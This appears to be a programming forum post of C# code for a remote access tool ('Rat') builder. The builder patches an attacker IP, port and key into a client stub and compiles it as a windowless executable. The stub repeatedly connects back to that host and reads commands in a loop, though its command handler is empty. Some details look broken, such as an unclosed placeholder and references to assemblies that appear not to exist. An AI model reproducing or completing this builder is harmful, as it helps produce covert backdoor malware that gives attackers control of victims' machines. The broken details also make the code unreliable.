SaveFileDialog FSave = new SaveFileDialog() 
            {
                Filter = "Executable Files|*.exe",
                InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            };
            if (FSave.ShowDialog() == DialogResult.OK)
            {
                string source = Properties.Resources.client;
                source = source.Replace("<replace_ip>", ipTxt.Text); 
                source = source.Replace("2341", portTxt.Text);
                source = source.Replace("<replace_key", keyTxt.Text);
                source = source.Replace("<replace_name>", nameTxt.Text);
                string ResFile = Path.Combine(Application.StartupPath, "Encrypted.resources"); 
                bool success = Compiler.CompileFromSource(source, FSave.FileName); 
            }

 public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
        {
            // We declare the new compiler parameters variable
            // that will contain all settings for the compilation.
            CompilerParameters CParams = new CompilerParameters();
 
            // We want an executable file on disk.
            CParams.GenerateExecutable = true;
            // This is where the compiled file will be saved into.
            CParams.OutputAssembly = Output;
 
            // We need these compiler options, we will use code optimization,
            // compile as a x86 process and our target is a windows form.
            // The unsafe keyword is used because the stub contains pointers and
            // unsafe blocks of code.
            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
            // If the icon is not null (as we initialize it), add the corresponding option.
            if (Icon != null)
                options += " /win32icon:\"" + Icon + "\"";
 
            // Set the options.
            CParams.CompilerOptions = options;
            // We don't care about warnings, we don't need them to show as errors.
            CParams.TreatWarningsAsErrors = false;
 
            // Add the references to the libraries we use so we can have access
            // to their namespaces.
            CParams.ReferencedAssemblies.Add("System.dll");
            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
            CParams.ReferencedAssemblies.Add("System.Data.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
 
            // Check if the user specified any resource files.
            // If yes, add then to the stub's resources.
            if (Resources != null && Resources.Length > 0)
            {
                // Loop through all resource files specified in the Resources[] array.
                foreach (string res in Resources)
                {
                    // Add each resource file to the compiled stub.
                    CParams.EmbeddedResources.Add(res);
                }
            }
 
            // Dictionary variable is used to tell the compiler that we want
            // our file to be compiled for .NET v2
            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
            ProviderOptions.Add("CompilerVersion", "v2.0");
 
            // Now, we compile the code and get the result back in the "Results" variable
            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
 
            // Check if any errors occured while compiling.
            if (Results.Errors.Count > 0)
            {
                // Errors occured, notify the user.
                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
 
                // Now loop through all errors and show them to the user.
                foreach (CompilerError Err in Results.Errors)
                {
                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
                        Err.Line, Err.Column, Err.FileName), "Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;
 
            }
            else
            {
                // No error was found, return true.
                return true;
            }
 
        }

using System;
 
namespace MainNamespace
{
    class MainClass
    {
        static void Main(string[] args)
        {
           // Tú código aquí.
        }
    }
}

...
CodedomProvider provider = new CSharpCodeProvider();
provider.MainClass = "MainNamespace.MainClass";
...

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
 
namespace Rat
{
    class Client
    {
        private string ipG = @"<replace_ip>";
        private int portG = 2341;
        private string keyG = @"<replace_key";
        private string nameG = @"<replace_name>";
        static void Main(string[] args)
        {
            Client cl = new Client();
            cl.tryConexion(cl.ipG, cl.portG,false);
        }
        public string tryConexion(string ip, int port,bool isTest)
        {
            try
            {
                TcpClient client = new TcpClient(ip, port);
                if(isTest == false)
                handlePackets(client);
                return "Conexion works";
 
            }
            catch
            {
                if(isTest == false)
                tryConexion(ip, port,false);
                return "deny";
            }
        }
        public void handlePackets(TcpClient client)
        {
            try
            {
                NetworkStream stream = client.GetStream();
                Byte[] buffer = new Byte[client.Available];
                while (client.Connected)
                {
                    buffer = new Byte[client.Available];
                    stream.Read(buffer, 0, buffer.Length);
                    doAction(Encoding.ASCII.GetString(buffer));
                    stream.Flush();
                    Thread.Sleep(1);
                }
            }
            catch
            {
                tryConexion(ipG, portG,false);
            }
        }
        public void doAction(string packet)
        {
            string[] packetParam = packet.Split('<');
            switch (packet)
            {
            }
        }
 
    }
}
 

string source = Properties.Resources.client;

                source = source.Replace("<replace_ip>", ipTxt.Text); 
                source = source.Replace("2341", portTxt.Text);
                source = source.Replace("<replace_key", keyTxt.Text);
                source = source.Replace("<replace_name>", nameTxt.Text);

 bool success = Compiler.CompileFromSource(source, FSave.FileName); 

   public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
        {
            CompilerParameters CParams = new CompilerParameters();
            CParams.GenerateExecutable = true;
            CParams.OutputAssembly = Output;
            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
            if (Icon != null)
                options += " /win32icon:\"" + Icon + "\"";
            CParams.CompilerOptions = options;
           CParams.TreatWarningsAsErrors = false;
            CParams.ReferencedAssemblies.Add("System.dll");
            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
            CParams.ReferencedAssemblies.Add("System.Data.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
            CParams.ReferencedAssemblies.Add("System.Net.dll");
            CParams.ReferencedAssemblies.Add("System.Net.Sockets.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.Text.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.Threading.dll");
            if (Resources != null && Resources.Length > 0)
            {
                foreach (string res in Resources)
                {
                    CParams.EmbeddedResources.Add(res);
                }
            }
            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
            ProviderOptions.Add("CompilerVersion", "v4.0");
            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
            if (Results.Errors.Count > 0)
            {
                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
                foreach (CompilerError Err in Results.Errors)
                {
                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
                        Err.Line, Err.Column, Err.FileName), "Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;
 
            }
            else
            {
                return true;
            }
 
        }